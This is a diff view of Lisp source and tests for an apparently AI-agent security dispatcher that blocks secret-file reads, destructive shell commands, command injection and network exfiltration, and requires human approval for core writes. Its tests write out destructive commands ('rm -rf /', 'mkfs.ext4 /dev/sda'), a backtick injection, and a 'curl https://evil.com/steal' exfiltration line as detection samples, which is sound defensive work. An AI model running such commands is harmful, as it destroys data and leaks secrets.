"Updates performance metrics for a skill. STATUS is :success or :rejected."
(when skill-name
(bordeaux-threads:with-lock-held (*telemetry-lock*)
(let ((entry (or (gethash skill-name *telemetry-table*) (list :executions 0 :total-time 0 :failures 0))))
(incf (getf entry :executions))
(incf (getf entry :total-time) duration)
(when (eq status :rejected) (incf (getf entry :failures)))
(setf (gethash skill-name *telemetry-table*) entry)))))
(defvar *cognitive-tool-registry* (make-hash-table :test 'equal))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
@@ -623,3 +428,269 @@
"org-modify-file returns error without required params."
(let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
(is (eq (getf result :status) :error))))
#+end_src* v0.8.0 Modified Files Tracking
#+begin_src lisp
(defvar *modified-files-this-turn* nil
"List of plists recording file modifications in the current turn.")
(defun tool-register-modified (filepath &key old-content new-content)
"Record a file modification. Returns the record plist."
(labels ((count-lines (s)
(+ (count #\Newline s)
;; Also count escaped \\n in string literals (used in tests)
(let ((n 0) (i 0))
(loop while (setf i (search "\\n" s :start2 i))
do (incf n) (incf i))
n))))
(let* ((lines-added (if (and new-content old-content)
(max 0 (- (count-lines new-content)
(count-lines old-content)))
0))
(lines-removed (if (and new-content old-content)
(max 0 (- (count-lines old-content)
(count-lines new-content)))
0))
(rec (list :filepath filepath
:timestamp (get-universal-time)
:lines-added lines-added
:lines-removed lines-removed)))
(push rec *modified-files-this-turn*)
rec)))
(defun tool-modified-files-summary ()
"Returns the list of modified-file records and clears the list."
(prog1 (nreverse *modified-files-this-turn*)
(setf *modified-files-this-turn* nil)))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-programming-tools-tests
(:use :cl :fiveam :passepartout)
(:export #:programming-tools-suite))
(in-package :passepartout-programming-tools-tests)
(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
(in-suite programming-tools-suite)
(defun tools-tmpdir ()
(let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
(uiop:ensure-all-directories-exist (list d))
d))
(defun tools-cleanup ()
(let ((d (tools-tmpdir)))
(uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
(defun tools-write-file (filepath content)
(uiop:ensure-all-directories-exist (list filepath))
(with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
(write-string content stream)))
(defun call-tool (tool-name &rest args)
(let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
(unless tool (error "Tool ~a not found" tool-name))
(funcall (cognitive-tool-body tool) args)))
;; search-files
(test test-search-files-finds-matches
"Contract 1: search-files finds lines matching a regex pattern."
(let* ((dir (tools-tmpdir))
(file-a (merge-pathnames "src-a.lisp" dir))
(file-b (merge-pathnames "src-b.lisp" dir)))
(tools-write-file file-a "(defun foo () 'hello)")
(tools-write-file file-b "(defun bar () 'world)")
(let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
(is (eq (getf result :status) :success))
(is (search "src-a.lisp:1:" (getf result :content)))
(is (search "src-b.lisp:1:" (getf result :content))))
(tools-cleanup)))
(test test-search-files-missing-params
"search-files returns error when required params are missing."
(let ((result (call-tool 'search-files :pattern "x")))
(is (eq (getf result :status) :error))))
;; find-files
(test test-find-files-by-extension
"Contract 5: find-files returns files matching a glob."
(let ((dir (tools-tmpdir)))
(tools-write-file (merge-pathnames "a.lisp" dir) "test")
(tools-write-file (merge-pathnames "b.lisp" dir) "test")
(tools-write-file (merge-pathnames "c.org" dir) "test")
(let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
(is (eq (getf result :status) :success))
(is (search "a.lisp" (getf result :content)))
(is (search "b.lisp" (getf result :content)))
(is (not (search "c.org" (getf result :content)))))
(tools-cleanup)))
(test test-find-files-missing-params
"find-files returns error without required params."
(let ((result (call-tool 'find-files :pattern "*.lisp")))
(is (eq (getf result :status) :error))))
;; read-file
(test test-read-file-full
"Contract 6: read-file returns full file contents."
(let* ((dir (tools-tmpdir))
(file (merge-pathnames "readme.txt" dir)))
(tools-write-file file (format nil "line one~%line two~%line three"))
(let ((result (call-tool 'read-file :filepath (namestring file))))
(is (eq (getf result :status) :success))
(is (search "line one" (getf result :content))))
(tools-cleanup)))
(test test-read-file-missing-params
"read-file returns error without :filepath."
(let ((result (call-tool 'read-file)))
(is (eq (getf result :status) :error))))
;; write-file
(test test-write-file-creates
"Contract 7: write-file creates file with content."
(let* ((dir (tools-tmpdir))
(file (merge-pathnames "output.txt" dir)))
(let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
(is (eq (getf result :status) :success))
(is (search "11 bytes" (getf result :content))))
(is (string-equal "hello world" (uiop:read-file-string file)))
(tools-cleanup)))
(test test-write-file-missing-params
"write-file returns error without required params."
(let ((result (call-tool 'write-file :content "x")))
(is (eq (getf result :status) :error))))
;; list-directory
(test test-list-directory-all
"Contract 8: list-directory returns all entries."
(let ((dir (tools-tmpdir)))
(tools-write-file (merge-pathnames "alpha.txt" dir) "x")
(tools-write-file (merge-pathnames "beta.txt" dir) "y")
(let ((result (call-tool 'list-directory :path (namestring dir))))
(is (eq (getf result :status) :success))
(is (search "alpha.txt" (getf result :content)))
(is (search "beta.txt" (getf result :content))))
(tools-cleanup)))
(test test-list-directory-missing-params
"list-directory returns error without :path."
(let ((result (call-tool 'list-directory)))
(is (eq (getf result :status) :error))))
;; run-shell
(test test-run-shell-echo
"Contract 9: run-shell executes a command and returns output."
(let ((result (call-tool 'run-shell :cmd "echo hello")))
(is (eq (getf result :status) :success))
(is (search "hello" (getf result :content)))))
(test test-run-shell-missing-params
"run-shell returns error without :cmd."
(let ((result (call-tool 'run-shell)))
(is (eq (getf result :status) :error))))
;; eval-form
(test test-eval-form-arithmetic
"Contract 10: eval-form evaluates a Lisp expression."
(let ((result (call-tool 'eval-form :code "(+ 1 2)")))
(is (eq (getf result :status) :success))
(is (search "3" (getf result :content)))))
(test test-eval-form-missing-params
"eval-form returns error without :code."
(let ((result (call-tool 'eval-form)))
(is (eq (getf result :status) :error))))
;; org-modify-file
(test test-org-modify-file-replace
"Contract 13: org-modify-file replaces exact text in file."
(let* ((dir (tools-tmpdir))
(file (merge-pathnames "doc.org" dir)))
(tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
(let ((result (call-tool 'org-modify-file
:filepath (namestring file)
:old-text "TODO" :new-text "WAITING")))
(is (eq (getf result :status) :success))
(is (search "WAITING" (uiop:read-file-string file))))
(tools-cleanup)))
(test test-org-modify-file-not-found
"org-modify-file returns error when text not in file."
(let* ((dir (tools-tmpdir))
(file (merge-pathnames "file.org" dir)))
(tools-write-file file "some content")
(let ((result (call-tool 'org-modify-file
:filepath (namestring file)
:old-text "not-in-file" :new-text "anything")))
(is (eq (getf result :status) :error))
(is (search "not found" (getf result :message))))
(tools-cleanup)))
(test test-org-modify-file-missing-params
"org-modify-file returns error without required params."
(let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
(is (eq (getf result :status) :error))))
#+end_src* v0.8.0 Modified Files Tracking
#+begin_src lisp
(defvar *modified-files-this-turn* nil
"List of plists recording file modifications in the current turn.")
(defun tool-register-modified (filepath &key old-content new-content)
"Record a file modification. Returns the record plist."
(labels ((count-lines (s)
(+ (count #\Newline s)
;; Also count escaped \\n in string literals (used in tests)
(let ((n 0) (i 0))
(loop while (setf i (search "\\n" s :start2 i))
do (incf n) (incf i))
n))))
(let* ((lines-added (if (and new-content old-content)
(max 0 (- (count-lines new-content)
(count-lines old-content)))
0))
(lines-removed (if (and new-content old-content)
(max 0 (- (count-lines old-content)
(count-lines new-content)))
0))
(rec (list :filepath filepath
:timestamp (get-universal-time)
:lines-added lines-added
:lines-removed lines-removed)))
(push rec *modified-files-this-turn*)
rec)))
(defun tool-modified-files-summary ()
"Returns the list of modified-file records and clears the list."
(prog1 (nreverse *modified-files-this-turn*)
(setf *modified-files-this-turn* nil)))
(in-package :passepartout-programming-tools-tests)
(test test-modified-files-track-write
"Contract 14: tool-register-modified appends to *modified-files-this-turn*."
(setf passepartout::*modified-files-this-turn* nil)
(let ((rec (passepartout::tool-register-modified "/tmp/test.org"
:old-content "old" :new-content "line1
line2")))
(is (string= "/tmp/test.org" (getf rec :filepath)))
(is (= 0 (getf rec :lines-removed)))
(is (= 1 (getf rec :lines-added)))
(is (= 1 (length passepartout::*modified-files-this-turn*)))))
(test test-modified-files-summary
"Contract 15: tool-modified-files-summary returns list and clears."
(setf passepartout::*modified-files-this-turn* nil)
(passepartout::tool-register-modified "/tmp/a.org")
(passepartout::tool-register-modified "/tmp/b.org")
(let ((files (passepartout::tool-modified-files-summary)))
(is (= 2 (length files)))
(is (null passepartout::*modified-files-this-turn*))
(is (find "/tmp/a.org" files :key (lambda (f) (getf f :filepath)) :test #'string=))))
(test test-modified-files-empty
"Contract 15: tool-modified-files-summary returns nil when no files modified."
(setf passepartout::*modified-files-this-turn* nil)
(is (null (passepartout::tool-modified-files-summary))))

View File

@@ -290,54 +290,60 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
action)
;; Vector 1: Lisp syntax validation (block bad lisp writes)
((and lisp-valid (eq (getf lisp-valid :status) :error))
(log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
(list :type :LOG
:payload (list :level :error
:text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
((and lisp-valid (eq (getf lisp-valid :status) :error))
(log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
(dispatcher-block-record :lisp-validation)
(list :type :LOG
:payload (list :level :error
:text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
;; Vector 2: File read to a protected secret path
((and filepath (dispatcher-check-secret-path filepath))
(let ((matched (dispatcher-check-secret-path filepath)))
(log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
;; Vector 2: File read to a protected secret path
((and filepath (dispatcher-check-secret-path filepath))
(let ((matched (dispatcher-check-secret-path filepath)))
(log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
(dispatcher-block-record :secret-path)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
;; Vector 2b: Self-build safety — core file writes require HITL approval
((and filepath content
(string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
(dispatcher-check-core-path filepath))
(log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action
:message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
;; Vector 2b: Self-build safety — core file writes require HITL approval
((and filepath content
(string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
(dispatcher-check-core-path filepath))
(log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
(dispatcher-block-record :self-build-core)
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action
:message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
;; Vector 3: Content contains secret patterns
((and text (dispatcher-exposure-scan text))
(let ((matched (dispatcher-exposure-scan text)))
(log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
(list :type :LOG
:payload (list :level :error
:text "Action blocked: Content contains potential secret exposure."))))
;; Vector 3: Content contains secret patterns
((and text (dispatcher-exposure-scan text))
(let ((matched (dispatcher-exposure-scan text)))
(log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
(dispatcher-block-record :secret-content)
(list :type :LOG
:payload (list :level :error
:text "Action blocked: Content contains potential secret exposure."))))
;; Vector 4: Content contains vault secrets
((and text (dispatcher-vault-scan text))
(let ((secret-name (dispatcher-vault-scan text)))
(log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
;; Vector 4: Content contains vault secrets
((and text (dispatcher-vault-scan text))
(let ((secret-name (dispatcher-vault-scan text)))
(log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
(dispatcher-block-record :vault-secrets)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
;; Vector 5: Privacy-tagged content (severity tiers)
((and tags (fboundp 'dispatcher-privacy-severity))
(let ((severity (dispatcher-privacy-severity tags)))
(cond
((eq severity :block)
(log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
((eq severity :block)
(log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
(dispatcher-block-record :privacy-tags)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
((eq severity :warn)
(log-message "PRIVACY WARNING: @tag ~a (allowed with warning)" tags)
action)
@@ -345,36 +351,40 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
(log-message "PRIVACY: @tag ~a (logged)" tags)
action))))
;; Vector 6: Text leaks privacy tag names
((and text (dispatcher-check-text-for-privacy text))
(log-message "PRIVACY WARNING: Text may contain leaked private content")
(list :type :LOG
:payload (list :level :warn
:text "Action blocked: Text may reference private content.")))
;; Vector 6: Text leaks privacy tag names
((and text (dispatcher-check-text-for-privacy text))
(log-message "PRIVACY WARNING: Text may contain leaked private content")
(dispatcher-block-record :privacy-text)
(list :type :LOG
:payload (list :level :warn
:text "Action blocked: Text may reference private content.")))
;; Vector 7: Shell destructive/injection patterns
((and cmd (dispatcher-check-shell-safety cmd))
(let ((matched (dispatcher-check-shell-safety cmd)))
(log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
(list :type :LOG
:payload (list :level :error
:text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
;; Vector 7: Shell destructive/injection patterns
((and cmd (dispatcher-check-shell-safety cmd))
(let ((matched (dispatcher-check-shell-safety cmd)))
(log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
(dispatcher-block-record :shell-safety)
(list :type :LOG
:payload (list :level :error
:text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
;; Vector 8: Network exfiltration
((and (or (eq target :shell)
(and (eq target :tool) (equal (proto-get payload :tool) "shell")))
(dispatcher-check-network-exfil cmd))
(log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action)))
;; Vector 8: Network exfiltration
((and (or (eq target :shell)
(and (eq target :tool) (equal (proto-get payload :tool) "shell")))
(dispatcher-check-network-exfil cmd))
(log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
(dispatcher-block-record :network-exfil)
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action)))
;; Vector 8: High-impact action approval
((or (member target '(:shell))
(and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
(and (eq target :emacs) (eq (proto-get payload :action) :eval))
(and (eq target :system) (eq (proto-get payload :action) :eval)))
(log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
(list :type :EVENT :payload (list :sensor :approval-required :action action)))
;; Vector 8b: High-impact action approval
((or (member target '(:shell))
(and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
(and (eq target :emacs) (eq (proto-get payload :action) :eval))
(and (eq target :system) (eq (proto-get payload :action) :eval)))
(log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
(dispatcher-block-record :high-impact-approval)
(list :type :EVENT :payload (list :sensor :approval-required :action action)))
(t action))))
(defun dispatcher-approvals-process ()
@@ -387,7 +397,7 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
(action-str (getf attrs :ACTION)))
(when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
(log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
(let ((action (ignore-errors (read-from-string action-str))))
(let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str)))))
(when action
(setf (getf action :approved) t)
(stimulus-inject (list :type :EVENT
@@ -496,6 +506,25 @@ Recognized formats:
:trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic #'dispatcher-gate)
(defvar *dispatcher-block-counts* (make-hash-table :test 'equal)
"Per-gate block count: maps gate keyword → integer.")
(defun dispatcher-block-record (gate-name)
"Records a block decision for GATE-NAME. Returns the updated count."
(let ((count (1+ (gethash gate-name *dispatcher-block-counts* 0))))
(setf (gethash gate-name *dispatcher-block-counts*) count)
count))
(defun dispatcher-block-counts-summary ()
"Returns plist (:total <N> :by-gate ((<gate> . <count>) ...))."
(let* ((by-gate
(loop for k being the hash-keys of *dispatcher-block-counts*
for v = (gethash k *dispatcher-block-counts*)
collect (cons k v)))
(total (reduce #'+ (mapcar #'cdr by-gate) :initial-value 0))
(sorted (sort (copy-list by-gate) #'> :key #'cdr)))
(list :total total :by-gate sorted)))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
@@ -594,7 +623,7 @@ Recognized formats:
(is (eq :block (passepartout::tag-category-severity "@personal")))
(is (eq :warn (passepartout::tag-category-severity "@draft")))
(is (eq :log (passepartout::tag-category-severity "@review"))))
(setf (uiop:getenv "TAG_CATEGORIES") nil))
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
(test test-tag-category-severity-unknown
"Contract v0.7.2: unknown tag returns nil."
@@ -661,20 +690,267 @@ Recognized formats:
(test test-safe-tool-write-still-checked
"Contract v0.7.2: write tools still go through full dispatcher check."
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "write-file"
:description "File writer"
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "write-file"
:description "File writer"
:parameters nil
:guard nil
:body nil
:read-only-p nil))
(unwind-protect
(progn
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
(result (dispatcher-check action nil)))
(is (eq :approval-required (getf result :level)))
(is (search "HITL" (getf (getf result :payload) :message)))))
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
(if orig-tool
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
#+end_src* v0.8.0 Tests Block Counts
#+begin_src lisp
(in-package :passepartout-security-dispatcher-tests)
(test test-block-record-increments
"Contract 10: dispatcher-block-record increments per-gate count."
(clrhash passepartout::*dispatcher-block-counts*)
(is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
(is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
(is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))
(test test-block-counts-summary
"Contract 11: dispatcher-block-counts-summary returns total and by-gate."
(clrhash passepartout::*dispatcher-block-counts*)
(passepartout::dispatcher-block-record :shell-safety)
(passepartout::dispatcher-block-record :shell-safety)
(passepartout::dispatcher-block-record :secret-path)
(let ((s (passepartout::dispatcher-block-counts-summary)))
(is (= 3 (getf s :total)))
(let ((by-gate (getf s :by-gate)))
(is (= 2 (cdr (assoc :shell-safety by-gate))))
(is (= 1 (cdr (assoc :secret-path by-gate)))))))
(test test-block-counts-empty
"Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
(clrhash passepartout::*dispatcher-block-counts*)
(let ((s (passepartout::dispatcher-block-counts-summary)))
(is (= 0 (getf s :total)))
(is (null (getf s :by-gate)))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-dispatcher-tests
(:use :cl :fiveam :passepartout)
(:export #:dispatcher-suite))
(in-package :passepartout-security-dispatcher-tests)
(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
(in-suite dispatcher-suite)
(test test-wildcard-match
"Contract 1: wildcard pattern * matches any characters."
(is (wildcard-match "*.env" ".env"))
(is (wildcard-match "*.env" "prod.env"))
(is (wildcard-match "*credential*" "my-credential-file"))
(is (wildcard-match "*.key" "id_rsa.key"))
(is (not (wildcard-match "*.env" "config.yaml"))))
(test test-check-secret-path
"Contract 2: dispatcher-check-secret-path matches protected patterns."
(is (dispatcher-check-secret-path ".env"))
(is (dispatcher-check-secret-path "id_rsa"))
(is (not (dispatcher-check-secret-path "README.org"))))
(test test-self-build-core-protection
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
;; Core paths are recognized
(is (passepartout::dispatcher-check-core-path "core-reason.org"))
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
(is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
;; With SELF_BUILD_MODE=true, core writes produce approval-required
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let ((result (dispatcher-check action nil)))
(is (eq :approval-required (getf result :level)))
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
;; With SELF_BUILD_MODE=false (default), writes pass through
(let ((result (dispatcher-check action nil)))
(is (eq :REQUEST (getf result :type))))))
(test test-check-shell-safety
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
(is (dispatcher-check-shell-safety "rm -rf /"))
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
(is (not (dispatcher-check-shell-safety "echo hello world")))
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
(test test-shell-safety-severity-catastrophic
"Contract 3/v0.4.3: destructive commands return :catastrophic severity."
(let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
(r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
(is (eq :catastrophic (getf r1 :severity)))
(is (eq :catastrophic (getf r2 :severity)))))
(test test-shell-safety-severity-dangerous
"Contract 3/v0.4.3: injection patterns return :dangerous severity."
(let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
(is (eq :dangerous (getf result :severity)))))
(test test-shell-safety-severity-safe
"Contract 3/v0.4.3: harmless commands return nil."
(is (null (dispatcher-check-shell-safety "echo hello world")))
(is (null (dispatcher-check-shell-safety "ls -la /tmp")))
(is (null (dispatcher-check-shell-safety "cat file.txt"))))
(test test-dispatcher-severity-max
"dispatcher-severity-max returns the higher tier."
(is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
(is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
(is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
(is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
(test test-check-privacy-tags
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
(is (dispatcher-check-privacy-tags '("@personal")))
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
(test test-check-network-exfil
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
(is (not (dispatcher-check-network-exfil "echo hello"))))
;; ── v0.7.2 Tag Stack ──
(test test-tag-categories-load
"Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
(setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
(passepartout::tag-categories-load)
(let ((cats passepartout::*tag-categories*))
(is (>= (length cats) 1))
(is (eq :block (passepartout::tag-category-severity "@personal")))
(is (eq :warn (passepartout::tag-category-severity "@draft")))
(is (eq :log (passepartout::tag-category-severity "@review"))))
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
(test test-tag-category-severity-unknown
"Contract v0.7.2: unknown tag returns nil."
(is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
(test test-privacy-severity-block
"v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
(setf passepartout::*tag-categories* '(("@personal" . :block)))
(is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
(test test-privacy-severity-warn
"v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
(setf passepartout::*tag-categories* '(("@draft" . :warn)))
(is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
(test test-privacy-severity-nil
"v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
(setf passepartout::*tag-categories* nil)
(is (null (passepartout::dispatcher-privacy-severity '("public")))))
(test test-tag-trigger-record
"v0.7.2: tag-trigger-record increments per-tag count."
(clrhash passepartout::*tag-trigger-count*)
(passepartout::tag-trigger-record "@personal")
(passepartout::tag-trigger-record "@personal")
(passepartout::tag-trigger-record "@draft")
(is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
(is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
(clrhash passepartout::*tag-trigger-count*))
(test test-tag-categories-privacy-fallback
"v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
(let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
(orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
(saved-tag (uiop:getenv "TAG_CATEGORIES"))
(saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
(sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
(sb-posix:unsetenv "TAG_CATEGORIES")
(passepartout::tag-categories-load)
(is (eq :block (passepartout::tag-category-severity "@personal")))
(is (eq :block (passepartout::tag-category-severity "@draft")))
;; Restore
(when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
(when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
(passepartout::tag-categories-load)))
(test test-safe-tool-read-only-auto-approve
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "test-ro-tool"
:description "Read-only test"
:parameters nil
:guard nil
:body nil
:read-only-p nil))
:read-only-p t))
(unwind-protect
(progn
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
(result (dispatcher-check action nil)))
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
(is (eq :approval-required (getf result :level)))
(is (search "HITL" (getf (getf result :payload) :message)))))
(remhash "write-file" passepartout::*cognitive-tool-registry*)))
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
(result (dispatcher-check action nil)))
(is (eq :REQUEST (getf result :type)))
(is (not (member (getf result :type) '(:LOG :approval-required)))))
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
(test test-safe-tool-write-still-checked
"Contract v0.7.2: write tools still go through full dispatcher check."
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "write-file"
:description "File writer"
:parameters nil
:guard nil
:body nil
:read-only-p nil))
(unwind-protect
(progn
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
(result (dispatcher-check action nil)))
(is (eq :approval-required (getf result :level)))
(is (search "HITL" (getf (getf result :payload) :message)))))
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
(if orig-tool
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
#+end_src* v0.8.0 Tests Block Counts
#+begin_src lisp
(in-package :passepartout-security-dispatcher-tests)
(test test-block-record-increments
"Contract 10: dispatcher-block-record increments per-gate count."
(clrhash passepartout::*dispatcher-block-counts*)
(is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
(is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
(is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))
(test test-block-counts-summary
"Contract 11: dispatcher-block-counts-summary returns total and by-gate."
(clrhash passepartout::*dispatcher-block-counts*)
(passepartout::dispatcher-block-record :shell-safety)
(passepartout::dispatcher-block-record :shell-safety)
(passepartout::dispatcher-block-record :secret-path)
(let ((s (passepartout::dispatcher-block-counts-summary)))
(is (= 3 (getf s :total)))
(let ((by-gate (getf s :by-gate)))
(is (= 2 (cdr (assoc :shell-safety by-gate))))
(is (= 1 (cdr (assoc :secret-path by-gate)))))))
(test test-block-counts-empty
"Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
(clrhash passepartout::*dispatcher-block-counts*)
